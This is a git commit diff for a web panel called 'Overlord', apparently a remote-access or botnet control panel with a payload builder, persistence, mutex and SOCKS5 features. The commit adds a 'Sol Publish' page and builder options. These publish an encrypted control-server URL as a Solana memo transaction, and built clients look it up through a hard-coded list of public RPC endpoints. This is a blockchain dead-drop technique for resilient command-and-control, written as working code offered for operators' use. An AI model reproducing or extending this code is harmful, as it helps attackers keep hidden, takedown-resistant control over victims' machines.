add solana support

This commit is contained in:
KingKDot
2026-04-05 18:18:40 -05:00
parent a310ecb460
commit 4b506d95ff
20 changed files with 1212 additions and 9 deletions
+51
View File
@@ -15,6 +15,8 @@ const scriptsLink = document.getElementById("scripts-link");
const pluginsLink = document.getElementById("plugins-link");
const rawServerListCheckbox = document.getElementById("raw-server-list");
const serverUrlInput = document.getElementById("server-url");
const solMemoCheckbox = document.getElementById("sol-memo");
const solSettings = document.getElementById("sol-settings");
let currentServerVersion = null;
@@ -91,6 +93,9 @@ function saveFormSettings() {
platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })),
serverUrl: document.getElementById("server-url")?.value ?? "",
rawServerList: document.getElementById("raw-server-list")?.checked ?? false,
solMemo: document.getElementById("sol-memo")?.checked ?? false,
solAddress: document.getElementById("sol-address")?.value ?? "",
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "",
outputName: document.getElementById("output-name")?.value ?? "",
mutex: document.getElementById("mutex")?.value ?? "",
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
@@ -140,6 +145,9 @@ function restoreFormSettings() {
}
if (s.serverUrl !== undefined) setVal("server-url", s.serverUrl);
if (s.rawServerList !== undefined) setCb("#raw-server-list", s.rawServerList);
if (s.solMemo !== undefined) setCb("#sol-memo", s.solMemo);
if (s.solAddress !== undefined) setVal("sol-address", s.solAddress);
if (s.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", s.solRpcEndpoints);
if (s.outputName !== undefined) setVal("output-name", s.outputName);
if (s.mutex !== undefined) setVal("mutex", s.mutex);
if (s.disableMutex !== undefined) setCb('input[name="disable-mutex"]', s.disableMutex);
@@ -190,11 +198,20 @@ initAccordions();
updateWindowsSectionVisibility();
init();
if (solMemoCheckbox && solSettings) {
solSettings.classList.toggle("hidden", !solMemoCheckbox.checked);
}
if (rawServerListCheckbox && serverUrlInput) {
rawServerListCheckbox.addEventListener("change", () => {
const isRaw = rawServerListCheckbox.checked;
const current = serverUrlInput.value.trim();
if (isRaw && solMemoCheckbox) {
solMemoCheckbox.checked = false;
if (solSettings) solSettings.classList.add("hidden");
}
if (isRaw) {
if (current.startsWith("wss://")) {
serverUrlInput.value = "https://" + current.slice("wss://".length);
@@ -213,6 +230,37 @@ if (rawServerListCheckbox && serverUrlInput) {
});
}
if (solMemoCheckbox && solSettings) {
solMemoCheckbox.addEventListener("change", () => {
const isSol = solMemoCheckbox.checked;
solSettings.classList.toggle("hidden", !isSol);
if (isSol && rawServerListCheckbox) {
rawServerListCheckbox.checked = false;
if (serverUrlInput) {
serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(false);
}
}
if (isSol) {
const rpcField = document.getElementById("sol-rpc-endpoints");
if (rpcField && !rpcField.value.trim()) {
rpcField.value = [
"https://api.mainnet-beta.solana.com",
"https://solana-mainnet.gateway.tatum.io",
"https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
"https://solana-rpc.publicnode.com",
"https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc",
"https://solana.drpc.org",
"https://solana.leorpc.com/?api_key=FREE",
"https://solana.api.onfinality.io/public",
"https://solana.api.pocket.network/",
].join("\n");
}
}
});
}
const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]');
const persistenceMethodContainer = document.getElementById("persistence-method-container");
const persistenceEmptyState = document.getElementById("persistence-empty-state");
@@ -923,6 +971,9 @@ form?.addEventListener("submit", async (e) => {
platforms,
serverUrl: serverUrl || undefined,
rawServerList,
solMemo: document.getElementById("sol-memo")?.checked || false,
solAddress: document.getElementById("sol-address")?.value.trim() || undefined,
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value.trim() || undefined,
mutex: disableMutex ? "" : mutex || undefined,
disableMutex,
stripDebug,
+1
View File
@@ -26,6 +26,7 @@ if (host) {
"/socks5-manager": "socks5-link",
"/plugins": "plugins-link",
"/build": "build-link",
"/sol-publish": "sol-publish-link",
"/users": "users-link",
"/user-client-access": "users-link",
"/notifications": "notifications-link",
@@ -4,6 +4,7 @@ export function applyUserRoleUI(user, refs) {
roleBadge,
usersLink,
buildLink,
solPublishLink,
pluginsLink,
scriptsLink,
logsLink,
@@ -67,6 +68,7 @@ export function applyUserRoleUI(user, refs) {
usersLink?.classList.remove("hidden");
pluginsLink?.classList.remove("hidden");
logsLink?.classList.remove("hidden");
solPublishLink?.classList.remove("hidden");
}
if (user.role === "admin" || user.role === "operator") {
buildLink?.classList.remove("hidden");
@@ -65,6 +65,12 @@ export function mountNav(host) {
class="hidden inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
><i class="fa-solid fa-hammer text-orange-400"></i> Builder</a
>
<a
href="/sol-publish"
id="sol-publish-link"
class="hidden inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
><i class="fa-solid fa-link-slash text-purple-400"></i> Sol Publish</a
>
<a
href="/notifications"
id="notifications-link"
@@ -137,6 +143,7 @@ export function mountNav(host) {
roleBadge: document.getElementById("role-badge"),
usersLink: document.getElementById("users-link"),
buildLink: document.getElementById("build-link"),
solPublishLink: document.getElementById("sol-publish-link"),
pluginsLink: document.getElementById("plugins-link"),
scriptsLink: document.getElementById("scripts-link"),
logsLink: document.getElementById("logs-link"),
@@ -0,0 +1,194 @@
const rpcSelect = document.getElementById("rpc-url");
const customRpcWrapper = document.getElementById("custom-rpc-wrapper");
const customRpcInput = document.getElementById("custom-rpc-url");
const privateKeyInput = document.getElementById("private-key");
const toggleKeyBtn = document.getElementById("toggle-key-visibility");
const serverUrlInput = document.getElementById("server-url");
const previewBtn = document.getElementById("preview-btn");
const publishBtn = document.getElementById("publish-btn");
const outputSection = document.getElementById("output-section");
const outputDiv = document.getElementById("output");
const walletInfo = document.getElementById("wallet-info");
const walletAddress = document.getElementById("wallet-address");
const walletBalance = document.getElementById("wallet-balance");
async function loadRpcEndpoints() {
try {
const res = await fetch("/api/sol/rpc-endpoints", { credentials: "include" });
if (res.ok) {
const data = await res.json();
if (Array.isArray(data.endpoints)) {
data.endpoints.forEach((ep) => {
const opt = document.createElement("option");
opt.value = ep;
opt.textContent = ep;
rpcSelect.appendChild(opt);
});
}
}
} catch {}
const customOpt = document.createElement("option");
customOpt.value = "__custom__";
customOpt.textContent = "Custom RPC endpoint...";
rpcSelect.appendChild(customOpt);
}
loadRpcEndpoints();
rpcSelect.addEventListener("change", () => {
customRpcWrapper.classList.toggle("hidden", rpcSelect.value !== "__custom__");
});
function getSelectedRpc() {
if (rpcSelect.value === "__custom__") {
return customRpcInput.value.trim();
}
return rpcSelect.value;
}
const isHttps = window.location.protocol === "https:";
const host = window.location.host;
serverUrlInput.value = `${isHttps ? "wss" : "ws"}://${host}`;
let keyVisible = false;
toggleKeyBtn.addEventListener("click", () => {
keyVisible = !keyVisible;
privateKeyInput.type = keyVisible ? "text" : "password";
toggleKeyBtn.innerHTML = keyVisible
? '<i class="fa-solid fa-eye-slash"></i> Hide'
: '<i class="fa-solid fa-eye"></i> Show';
});
let balanceTimeout = null;
privateKeyInput.addEventListener("input", () => {
clearTimeout(balanceTimeout);
balanceTimeout = setTimeout(checkWalletBalance, 800);
});
async function checkWalletBalance() {
const key = privateKeyInput.value.trim();
if (!key || key.length < 32) {
walletInfo.classList.add("hidden");
return;
}
try {
const rpc = getSelectedRpc();
const res = await fetch("/api/sol/balance", {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({ publicKeyBase58: key, rpcUrl: rpc }),
});
walletInfo.classList.add("hidden");
} catch {
walletInfo.classList.add("hidden");
}
}
function showOutput(text, isError = false) {
outputSection.classList.remove("hidden");
outputDiv.textContent = text;
outputDiv.className = `p-3 bg-slate-800/60 border rounded-lg text-sm font-mono break-all whitespace-pre-wrap max-h-64 overflow-y-auto ${
isError ? "border-red-700/60 text-red-300" : "border-slate-700 text-slate-200"
}`;
}
previewBtn.addEventListener("click", async () => {
const serverUrl = serverUrlInput.value.trim();
if (!serverUrl) {
showOutput("Error: Server URL is required", true);
return;
}
previewBtn.disabled = true;
previewBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Encrypting...';
try {
const res = await fetch("/api/sol/preview", {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({ serverUrl }),
});
const data = await res.json();
if (!res.ok) {
showOutput(`Error: ${data.error}`, true);
return;
}
showOutput(
`Encrypted Memo (${data.memoLength} chars):\n\n${data.memo}\n\nThis is what would be stored in the Solana memo transaction.`
);
} catch (err) {
showOutput(`Error: ${err.message}`, true);
} finally {
previewBtn.disabled = false;
previewBtn.innerHTML = '<i class="fa-solid fa-eye"></i> Preview Memo';
}
});
publishBtn.addEventListener("click", async () => {
const serverUrl = serverUrlInput.value.trim();
const privateKey = privateKeyInput.value.trim();
const rpcUrl = getSelectedRpc();
if (!serverUrl) {
showOutput("Error: Server URL is required", true);
return;
}
if (!privateKey) {
showOutput("Error: Private key is required", true);
return;
}
if (!rpcUrl) {
showOutput("Error: RPC endpoint is required", true);
return;
}
if (!confirm(
"Publish encrypted server URL to Solana?\n\n" +
`Server URL: ${serverUrl}\n` +
`RPC: ${rpcUrl}\n\n` +
"This will create a transaction costing ~0.000005 SOL."
)) {
return;
}
publishBtn.disabled = true;
publishBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Publishing...';
try {
const res = await fetch("/api/sol/publish", {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({ serverUrl, privateKeyBase58: privateKey, rpcUrl }),
});
const data = await res.json();
if (!res.ok) {
showOutput(`Error: ${data.error}`, true);
return;
}
showOutput(
`Published successfully!\n\n` +
`Signature: ${data.signature}\n` +
`Address: ${data.address}\n` +
`Memo length: ${data.memoLength} chars\n\n` +
`Explorer: ${data.explorerUrl}\n\n` +
`Clients built with Solana mode and address "${data.address}" will now connect to:\n${serverUrl}`
);
walletInfo.classList.remove("hidden");
walletAddress.textContent = `Address: ${data.address}`;
} catch (err) {
showOutput(`Error: ${err.message}`, true);
} finally {
publishBtn.disabled = false;
publishBtn.innerHTML = '<i class="fa-solid fa-paper-plane"></i> Publish to Solana';
}
});
+19
View File
@@ -159,6 +159,25 @@
<p class="text-xs text-slate-500 mt-1">
When enabled, the URL above must be a raw HTTPS link with one wss:// endpoint per line.
</p>
<label class="mt-2 flex items-center gap-2 text-xs text-slate-400">
<input type="checkbox" id="sol-memo" name="sol-memo" class="w-4 h-4" />
Use Solana memo lookup (resolve server from blockchain)
</label>
<div id="sol-settings" class="hidden mt-2 flex flex-col gap-2 pl-6 border-l-2 border-purple-800/50">
<div>
<label class="block text-xs font-medium text-slate-400 mb-1" for="sol-address">Solana Address (Base58)</label>
<input type="text" id="sol-address" name="sol-address" placeholder="YourSolanaWalletAddressHere..."
class="w-full px-2 py-1.5 bg-slate-800/60 border border-slate-700 rounded text-sm focus:outline-none focus:border-purple-500 transition-colors font-mono" />
</div>
<div>
<label class="block text-xs font-medium text-slate-400 mb-1" for="sol-rpc-endpoints">RPC Endpoints (one per line)</label>
<textarea id="sol-rpc-endpoints" name="sol-rpc-endpoints" rows="4" placeholder="https://api.mainnet-beta.solana.com&#10;https://solana-rpc.publicnode.com"
class="w-full px-2 py-1.5 bg-slate-800/60 border border-slate-700 rounded text-xs focus:outline-none focus:border-purple-500 transition-colors font-mono"></textarea>
</div>
<p class="text-xs text-slate-500">
Client will query these endpoints to find the encrypted server URL from the Solana address's memo transactions.
</p>
</div>
</div>
<div>
+123
View File
@@ -0,0 +1,123 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Solana Memo Publisher - Overlord</title>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap"
rel="stylesheet"
/>
<link rel="stylesheet" href="/assets/tailwind.css" />
<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
crossorigin="anonymous"
referrerpolicy="no-referrer"
/>
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
<link rel="stylesheet" href="/assets/main.css" />
<link rel="stylesheet" href="/assets/custom.css" />
<script src="/assets/toast.js"></script>
<script src="/assets/ripple.js"></script>
</head>
<body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header>
<main class="px-5 py-6">
<div class="max-w-3xl mx-auto flex flex-col gap-5">
<div>
<h1 class="text-2xl font-semibold flex items-center gap-2">
<i class="fa-solid fa-link-slash text-purple-400"></i> Solana Memo Publisher
</h1>
<p class="text-slate-400 mt-1">
Publish an encrypted server URL as a Solana memo transaction.
Clients configured with Solana lookup will query this address to find the server.
</p>
</div>
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-5 flex flex-col gap-5">
<!-- RPC Endpoint -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2" for="rpc-url">RPC Endpoint</label>
<select id="rpc-url"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-purple-500 transition-colors">
</select>
<div id="custom-rpc-wrapper" class="hidden mt-2">
<input type="text" id="custom-rpc-url" placeholder="https://your-rpc-endpoint.com"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-purple-500 transition-colors" />
</div>
</div>
<!-- Private Key -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2" for="private-key">Solana Private Key (Base58)</label>
<div class="flex items-center gap-2">
<input type="password" id="private-key" placeholder="Enter your Solana wallet private key"
class="flex-1 min-w-0 px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-purple-500 transition-colors font-mono text-sm" />
<button type="button" id="toggle-key-visibility"
class="shrink-0 px-3 py-2 text-xs text-slate-400 hover:text-slate-200 bg-slate-800/60 border border-slate-700 rounded-lg transition-colors">
<i class="fa-solid fa-eye"></i> Show
</button>
</div>
<p class="text-xs text-slate-500 mt-1">
<i class="fa-solid fa-shield-halved text-amber-400"></i>
Your private key is never stored — it's used in-memory only for signing and discarded immediately.
</p>
<div id="wallet-info" class="hidden mt-2 p-2 bg-slate-800/40 rounded-lg text-xs text-slate-400">
<span id="wallet-address"></span>
<span id="wallet-balance" class="ml-2"></span>
</div>
</div>
<!-- Server URL -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2" for="server-url">Server URL to Publish</label>
<input type="text" id="server-url" placeholder="wss://your-server:5173"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-purple-500 transition-colors" />
<p class="text-xs text-slate-500 mt-1">
The server URL that clients will connect to. Multiple URLs can be separated by newlines.
</p>
</div>
<!-- Action Buttons -->
<div class="flex gap-3 flex-wrap">
<button type="button" id="preview-btn"
class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-slate-700 hover:bg-slate-600 text-slate-200 border border-slate-600 transition-colors">
<i class="fa-solid fa-eye"></i> Preview Memo
</button>
<button type="button" id="publish-btn"
class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-purple-700 hover:bg-purple-600 text-white border border-purple-600 transition-colors">
<i class="fa-solid fa-paper-plane"></i> Publish to Solana
</button>
</div>
<!-- Output -->
<div id="output-section" class="hidden">
<label class="block text-sm font-medium text-slate-300 mb-2">Result</label>
<div id="output" class="p-3 bg-slate-800/60 border border-slate-700 rounded-lg text-sm font-mono break-all whitespace-pre-wrap max-h-64 overflow-y-auto">
</div>
</div>
</div>
<!-- Info -->
<div class="bg-slate-900/50 border border-slate-800 rounded-lg p-4 text-sm text-slate-400">
<h3 class="text-slate-300 font-medium mb-2"><i class="fa-solid fa-circle-info text-blue-400"></i> How it works</h3>
<ul class="list-disc list-inside flex flex-col gap-1">
<li>The server URL is encrypted with AES-256-GCM using SHA-256 of your server's Agent Token as the key.</li>
<li>The encrypted memo is published as a Solana memo transaction from your wallet.</li>
<li>Clients built with Solana mode query your wallet address for the latest memo and decrypt it.</li>
<li>Publishing costs approximately 0.000005 SOL (~$0.001).</li>
<li>To update the server URL, just publish a new memo — clients always use the newest one.</li>
</ul>
</div>
</div>
</main>
<script type="module" src="/assets/nav.js"></script>
<script src="/assets/sol-publish.js"></script>
</body>
</html>